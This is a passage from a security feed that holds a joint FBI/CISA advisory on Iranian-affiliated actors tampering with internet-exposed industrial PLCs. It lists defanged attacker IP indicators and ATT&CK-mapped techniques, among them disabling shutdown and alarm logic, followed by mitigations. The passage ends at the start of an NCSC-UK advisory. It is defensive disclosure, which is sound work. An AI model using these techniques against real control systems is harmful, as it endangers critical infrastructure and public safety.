<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
